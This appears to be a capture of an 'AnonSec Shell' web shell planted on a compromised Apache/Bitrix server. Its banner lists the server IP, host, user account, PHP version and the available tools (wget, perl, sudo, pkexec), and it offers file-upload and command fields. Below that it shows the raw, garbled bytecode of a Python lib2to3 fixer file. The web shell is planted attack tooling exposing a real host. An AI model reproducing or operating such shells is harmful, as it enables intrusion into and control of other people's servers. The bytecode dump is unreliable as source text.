AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.218.185.16
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/lib2to3/fixes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/lib64/python2.7/lib2to3/fixes/fix_has_key.pyo
�
ۜSec@sidZddlmZddlmZddlmZddlmZmZdej	fd��YZ
dS(	s&Fixer for has_key().

Calls to .has_key() methods are expressed in terms of the 'in'
operator:

    d.has_key(k) -> k in d

CAVEATS:
1) While the primary target of this fixer is dict.has_key(), the
   fixer will change any has_key() method call, regardless of its
   class.

2) Cases like this will not be converted:

    m = d.has_key
    if m(k):
        ...

   Only *calls* to has_key() are converted. While it is possible to
   convert the above to something like

    m = d.__contains__
    if m(k):
        ...

   this is currently not done.
i(tpytree(ttoken(t
fixer_base(tNametparenthesizet	FixHasKeycBseZeZdZd�ZRS(s�
    anchor=power<
        before=any+
        trailer< '.' 'has_key' >
        trailer<
            '('
            ( not(arglist | argument<any '=' any>) arg=any
            | arglist<(not argument<any '=' any>) arg=any ','>
            )
            ')'
        >
        after=any*
    >
    |
    negation=not_test<
        'not'
        anchor=power<
            before=any+
            trailer< '.' 'has_key' >
            trailer<
                '('
                ( not(arglist | argument<any '=' any>) arg=any
                | arglist<(not argument<any '=' any>) arg=any ','>
                )
                ')'
            >
        >
    >
    cCsI|j}|jj|jkr7|jj|j�r7dS|jd�}|d}|j}g|dD]}|j	�^qd}|dj	�}	|jd�}
|
r�g|
D]}|j	�^q�}
n|	j|j
|j|j|j|j
|j|jfkrt|	�}	nt|�dkr*|d}ntj|j|�}d|_td	d
d�}|r�tdd
d�}tj|j||f�}ntj|j
|	||f�}
|
r�t|
�}
tj|j|
ft|
��}
n|jj|j
|j|j|j|j|j|j|j|jf	kr<t|
�}
n||
_|
S(Ntnegationtanchortbeforetargtafteriiu uintprefixunot(tsymstparentttypetnot_testtpatterntmatchtNonetgetRtclonet
comparisontand_testtor_testttesttlambdeftargumentRtlenRtNodetpowerRtcomp_opttupletexprtxor_exprtand_exprt
shift_exprt
arith_exprttermtfactor(tselftnodetresultsRRRRtnRR	R
tn_optn_nottnew((s1/usr/lib64/python2.7/lib2to3/fixes/fix_has_key.pyt	transformHsD	
	#"!
	%	(t__name__t
__module__tTruet
BM_compatibletPATTERNR.(((s1/usr/lib64/python2.7/lib2to3/fixes/fix_has_key.pyR'sN(t__doc__tRtpgen2RRt
fixer_utilRRtBaseFixR(((s1/usr/lib64/python2.7/lib2to3/fixes/fix_has_key.pyt<module>s


Anon7 - 2022
AnonSec Team